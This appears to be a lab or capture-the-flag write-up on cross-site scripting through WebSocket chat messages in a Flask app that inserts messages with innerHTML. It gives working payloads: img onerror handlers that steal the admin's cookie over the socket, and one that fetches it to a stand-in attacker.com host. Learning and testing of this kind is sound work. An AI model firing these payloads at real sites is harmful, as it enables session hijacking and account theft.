XSS via WebSockets

Like any other unsanitized input, embedding messages from a WebSocket connection into a website can lead to Cross-Site Scripting (XSS). If an attacker can send a malicious XSS payload to other users via WebSocket, causing it to be embedded in their browser's DOM, a valid XSS attack vector exists.


Code Review - Identifying the Vulnerability

Application Overview

Chat web application that allows users to send messages to the admin user via WebSockets.

Backend Analysis (server.py)

to_admin = queue.Queue()
to_user = queue.Queue()

@sock.route('/userws')
def userws(sock):
    while True:
        if not to_user.empty():
            msg = to_user.get()
            sock.send(msg)
        msg = sock.receive(timeout=1)
        if msg:
            to_admin.put(msg)

@sock.route('/adminws')
def adminws(sock):
    while True:
        if not to_admin.empty():
            msg = to_admin.get()
            sock.send(msg)
        msg = sock.receive(timeout=1)
        if msg:
            to_user.put(msg)

Flow:

  • User messages β†’ to_admin queue β†’ sent to admin via WebSocket

  • Admin messages β†’ to_user queue β†’ sent to user via WebSocket

Frontend Analysis (index.html)

Vulnerability

Problem: Message added to DOM via innerHTML without any sanitization β†’ XSS possible!


Local Testing

Setup

Open both endpoints:

  • User: http://127.0.0.1:8000/

  • Admin: http://127.0.0.1:8000/admin

PoC: HTML Injection

Send: <strike>PoC</strike>

Result in admin's browser: PoC (strikethrough text)

Confirmed: No sanitization applied!


Exploitation

Basic <script> Tag - FAILS

Sending: <script>alert(1)</script>

Result: Empty message displayed, NO alert popup!

Reason: HTML5 specification security measure:

"script elements inserted using innerHTML do not execute when they are inserted"

Event Handler Bypass

Use event handlers instead (see PayloadsAllTheThingsarrow-up-right):

Result: Alert popup in admin's browser! βœ“


Question Walkthrough

Task: Obtain the admin user's cookie.

Step 1: Analyze Source Code

Key finding in frontend:

No sanitization β†’ XSS via WebSocket messages.

Use socket.send() to exfiltrate admin's cookie back to us:

Step 3: Send Payload

Send the XSS payload as a chat message.

The admin's browser executes the payload:

  1. onerror triggers (invalid image src)

  2. socket.send(document.cookie) executes

  3. Admin's cookie sent back via WebSocket

  4. Cookie displayed in your chat!


Summary

Key Payloads

Payload
Purpose

<img src=x onerror=alert(1)>

PoC - alert popup

<img src=x onerror=socket.send(document.cookie)>

Steal cookies via WebSocket

<img src=x onerror=fetch('http://attacker.com/?c='+document.cookie)>

Exfiltrate to external server

Last updated